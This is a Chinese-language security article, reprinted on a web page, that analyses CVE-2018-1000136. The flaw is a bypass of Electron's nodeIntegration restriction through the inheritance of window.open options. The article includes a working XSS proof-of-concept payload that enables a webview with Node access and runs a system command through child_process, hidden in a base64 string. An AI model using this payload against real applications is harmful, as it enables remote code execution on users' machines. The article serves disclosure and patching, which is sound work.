CVE-2018-1000136:Electron nodeIntegration绕过漏洞

1周前,研究人员发现一个影响Electron所有版本的漏洞,利用该漏洞可以开启nodeIntegration,这可能会造成远程代码执行。Electron是一个使用JavaScript,HTML和CSS等Web技术创建原生程序的框架,它负责比较难搞的部分,而用户只需把精力放在应用的核心上即可。Slack、Discord、Signal、Atom、Visual Studio Code、Github桌面版等很多的应用都是用了Electron框架。

Electron是web应用,也就是说如果没有正确对用户输入进行处理的话就可能会受到XSS脚本攻击。默认的Electron应用不仅可以包含对自己API的访问,还包含对所有Node.js植入模块的访问。这会让XSS攻击的危险变大,因为攻击者的payload可以做很多的坏事,比如在客户端执行系统命令等。Atom前不久就被曝类似的XSS漏洞。用户可以将nodeIntegration: false传入应用webPreferences中,来移除对Node.js的访问。

还有一个webview的tag特征可以将内容嵌入到Electron应用中,并以独立的进程运行。当使用webview tag时,你可以传递一些属性值,其中就包括nodeIntegration。WebView容器默认是不开启nodeIntegration的。文档描述了如果webviewTag选项没有在webPreferences中明确说明,就会继承nodeIntegration的设定值的权限。

默认情况下,Electron会使用传统的window.open()函数来创建一个BrowserWindow的新实例。子窗口默认会继承父窗口的所有选项。传统的window.open()函数允许用户通过在featuresargument中传递一些值来修改继承的选项的值:

if (!usesNativeWindowOpen) {// Make the browser window or guest view emit "new-window" event.window.open = function (url, frameName, features) {if (url != null && url !== '') {url = resolveURL(url)}const guestId = ipcRenderer.sendSync('ELECTRON_GUEST_WINDOW_MANAGER_WINDOW_OPEN', url, toString(frameName), toString(features))if (guestId != null) {return getOrCreateProxy(ipcRenderer, guestId)} else {return null}}if (openerId != null) {window.opener = getOrCreateProxy(ipcRenderer, openerId)}
}

当Electron的window.open函数被调用,就会触发一个ELECTRON_GUEST_WINDOW_MANAGER_WINDOW_OPEN事件。该事件处理器会将这些特征进行语法分析,并把这些特征加入到新创建的窗口的选项中,然后触发ELECTRON_GUEST_WINDOW_MANAGER_WINDOW_OPEN事件。为了防止子窗口做坏事,guest-window-manager.js含有一个webPreferences选项的硬编码的列表和限定值:

// Security options that child windows will always inherit from parent windowsconst inheritedWebPreferences = new Map([['contextIsolation', true],['javascript', false],['nativeWindowOpen', true],['nodeIntegration', false],['sandbox', true],['webviewTag', false]]);

ELECTRON_GUEST_WINDOW_MANAGER_INTERNAL_WINDOW_OPEN事件处理器调用mergeBrowserWindowOptions函数来确保父窗口webPreferences的限制属性应用到子窗口:

 const mergeBrowserWindowOptions = function (embedder, options) {[...]// Inherit certain option values from parent windowfor (const [name, value] of inheritedWebPreferences) {if (embedder.getWebPreferences()[name] === value) {options.webPreferences[name] = value}}// Sets correct openerId here to give correct options to 'new-window' event handleroptions.webPreferences.openerId = embedder.idreturn options}

这就是该漏洞的核心。mergeBrowserWindowOptions函数并不会考虑到这些限制属性的默认值是否定义过。或者说,如果webviewTag: false没有在应用的webPreferences中明确定义,当mergeBrowserWindowOptions函数检查webview Tag时,就会返回undefined,让上面的if判断返回错误,就不会应用父窗口的webviewTag preference。这会让window.open以额外特征的方式传递webview Tag选项,重新开启nodeIntegration,并最终导致潜在的远程代码执行。

POC

下面的POC说明了XSS payload如何在运行时重新开启nodeIntegration,并执行系统命令:

<script>var x = window.open('data://yoloswag','','webviewTag=yes,show=no');x.eval("var webview = new WebView;"+"webview.setAttribute('webpreferences', 'webSecurity=no, nodeIntegration=yes');"+"webview.src = `data:text/html;base64,PHNjcmlwdD5yZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlYygnbHMgLWxhJywgZnVuY3Rpb24gKGUscikgeyBhbGVydChyKTt9KTs8L3NjcmlwdD4=`;"+"document.body.appendChild(webview)");</script>

poc执行的条件为:

· Electron应用的nodeIntegration是关闭的;

· 含有没有适当处理用户输入的XSS漏洞或其他依赖该应用的漏洞;

· Electron 版本< 1.7.13, < 1.8.4, 或 < 2.0.0-beta.3;

· 没有在webPreferences中声明webviewTag: false;

· 或没有在webPreferences中开启nativeWindowOption选项;

· 或没有用选项tag来拦截新窗口时间或覆写 event.newGuest。

如果以上条件满足,那么POC就可以在有漏洞的Electron版本上远程代码执行。


原文发布时间为:2018-05-18

本文来自云栖社区合作伙伴“嘶吼网”,了解相关信息可以关注“嘶吼网”。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/390425.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

bash脚本 文件_如何使用Bash脚本来管理从AWS S3存储桶下载和查看文件

bash脚本 文件As you can read in this article, I recently had some trouble with my email server and decided to outsource email administration to Amazons Simple Email Service (SES). 正如您在本文中所读到的 &#xff0c;最近我的电子邮件服务器遇到了一些麻烦&…

rsync(六)命令中文手册

rsync(1) rsync(1)名称rsync - 一个快速、多功能的远程(和本地)文件拷贝工具摘要Local: rsync [OPTION...] SRC... [DEST]Access via remote shell:Pull: rsync [OPTION...] [USE…

NFS共享存储服务部署

服务端部署 1、检查服务器上是否已安装nfs及rpc&#xff0c;没有则需要安装检查rpm -qa rpcbind nfs-utils安装&#xff08;已安装略过&#xff09;yum install -y rpcbind nfs-utils################################################################2、编写nfs的配置文件cat…

区块链运作机制_什么是区块链及其运作方式?

区块链运作机制If youre interested in technology, theres a good chance you’ve probably heard the terms Bitcoin, Crypto, Ethereum, or even "distributed, decentralized ledgers."如果您对技术感兴趣&#xff0c;那么您很有可能已经听说过比特币&#xff0c…

敏捷管理之绩效考核方案

前段时间&#xff0c;公司签了年终奖确认。觉得公司发放年终奖完全是凭主观发放&#xff0c;没有事实依据&#xff0c;由此产生了对如何发放年终奖的一些想法。 奖金发放作为激励员工最直接的手段&#xff0c;往往也是让管理人员最难抉择的&#xff0c;而且很多公司&#xff0c…

序言

为什么要写这篇文章&#xff1f; 说起架构&#xff0c;刚入行的新人觉得是高大上的技术&#xff0c;有工作经验的一些人又觉得是虚无缥缈的东西&#xff0c;不能落实。具体有用没用&#xff0c;我不给答案&#xff0c;想通过写这么一个例子来还原场景&#xff0c;让读者自己判断…

kotlin编程语言_Kotlin初学者编程基础

kotlin编程语言什么是Kotlin&#xff1f; (What is Kotlin?) Kotlin is a programming language developed by Jetbrains, the company behind some of the world’s most popular IDEs like IntelliJ and Pycharm.Kotlin是Jetbrains开发的一种编程语言&#xff0c;该公司是In…

记一个蒟蒻的绝望

感觉现在…… 怎么讲&#xff0c;心挺冷的。 今天一月五号了。距离省选&#xff0c;时间好短啊。 我还有那么多东西不懂。甚至听都没听说过。 等到真正去省选的时候&#xff0c;我可能跟现在一样&#xff0c;什么都不会。 我的名字能不能被看到都不知道。哈&#xff0c;还进队呢…

671. 二叉树中第二小的节点

给定一个非空特殊的二叉树&#xff0c;每个节点都是正数&#xff0c;并且每个节点的子节点数量只能为 2 或 0。如果一个节点有两个子节点的话&#xff0c;那么该节点的值等于两个子节点中较小的一个。 更正式地说&#xff0c;root.val min(root.left.val, root.right.val) 总…

CentOS查询端口占用和清除端口占用的程序

1、查询端口号占用&#xff0c;根据端口查看进程信息 [rootserver2 ~]# lsof -i:80COMMAND PID USER FD TYPE DEVICE SIZE NODE NAMEhttpd 5014 root 3u IPv4 14346 TCP server2:http (LISTEN)2、根据进程号查看进程对应的可执行程序 ps -f -p 进程号# p…

Android基础夯实--你了解Handler有多少?

概述 对于刚入门的同学来说&#xff0c;往往都会对Handler比较迷茫&#xff0c;到底Handler是个什么样的东西。当然&#xff0c;可能对于一些有工作经验的工程师来说&#xff0c;他们也不一定能很准确地描述&#xff0c;我们来看下API的介绍。 Handler是用来结合线程的消息队列…

spring与springBoot不同之处

( 1&#xff09;遵循“习惯优于配置”的原则&#xff0c;使用Spring Boot只需要很少的配置&#xff0c;大部分的时候我们直接使用默认的配置即可&#xff1b; &#xff08;2&#xff09;项目快速搭建&#xff0c;可以无需配置的自动整合第三方的框架&#xff1b; &#xff08;3…

sketch-a-net_Adobe XD,Sketch,Figma,InVision-如何在2020年选择最佳设计软件

sketch-a-netComparing Adobe XD vs Sketch vs Figma vs InVision studio is a very common topic among designers who are looking for the best design software. 在寻求最佳设计软件的设计师中&#xff0c;比较Adobe XD&#xff0c;Sketch&#xff0c;Figma和InVision Stud…

merge intervals(合并间隔)

Given a collection of intervals, merge all overlapping intervals. For example,Given [1,3],[2,6],[8,10],[15,18],return [1,6],[8,10],[15,18]. 题目没有说所有间隔的start是依次增加的。所以&#xff0c;为了方便讨论&#xff0c;我们要将所有间隔按照start升序排列。因…

剑指 Offer 49. 丑数

我们把只包含质因子 2、3 和 5 的数称作丑数&#xff08;Ugly Number&#xff09;。求按从小到大的顺序的第 n 个丑数。 示例: 输入: n 10 输出: 12 解释: 1, 2, 3, 4, 5, 6, 8, 9, 10, 12 是前 10 个丑数。 说明: 1 是丑数。n 不超过1690。 解题思路 使用小根堆&#xf…

维护旧项目_为什么您的旧版软件难以维护-以及如何处理。

维护旧项目Believe it or not, some organizations still rely on legacy software to carry out operations even though newer and more versatile options are available. We know that “old is gold”, but legacy applications cannot glitter forever. As such, these o…

python--内置函数

内置函数现在python一共为我们提供了68个内置函数&#xff0c;讲述过程&#xff1a;一、其他中的12个 &#xff08;一&#xff09;执行 字符串 类型代码的执行 1 eval执行有意义的字符串 ,有返回值 print(eval(12))print(eval("print(美丽)")) #美丽 2 ex…

Nancy简单实战之NancyMusicStore(四):实现购物车

原文:Nancy简单实战之NancyMusicStore(四)&#xff1a;实现购物车前言 上一篇&#xff0c;我们完成了商品的详情和商品的管理&#xff0c;这一篇我们来完成最后的一个购物车功能。 购物车&#xff0c;不外乎这几个功能&#xff1a;添加商品到购物车&#xff0c;删除购物车中的商…

剑指 Offer 32 - I. 从上到下打印二叉树

从上到下打印出二叉树的每个节点&#xff0c;同一层的节点按照从左到右的顺序打印。 例如: 给定二叉树: [3,9,20,null,null,15,7], 3/ \9 20/ \15 7返回&#xff1a; [3,9,20,15,7] 提示&#xff1a; 节点总数 < 1000 解题思路 使用队列实现层序遍历 代码 /*** …

数据库表命名 单数复数_数据是还是数据是? “数据”一词是单数还是复数?

数据库表命名 单数复数Ill cut right to the chase: the word "data" is plural. Its the plural form of Latin word "datum." Many data. One datum.我将紧追其后&#xff1a;“数据”一词是复数形式。 它是拉丁文“基准”的复数形式。 许多数据。 一个基…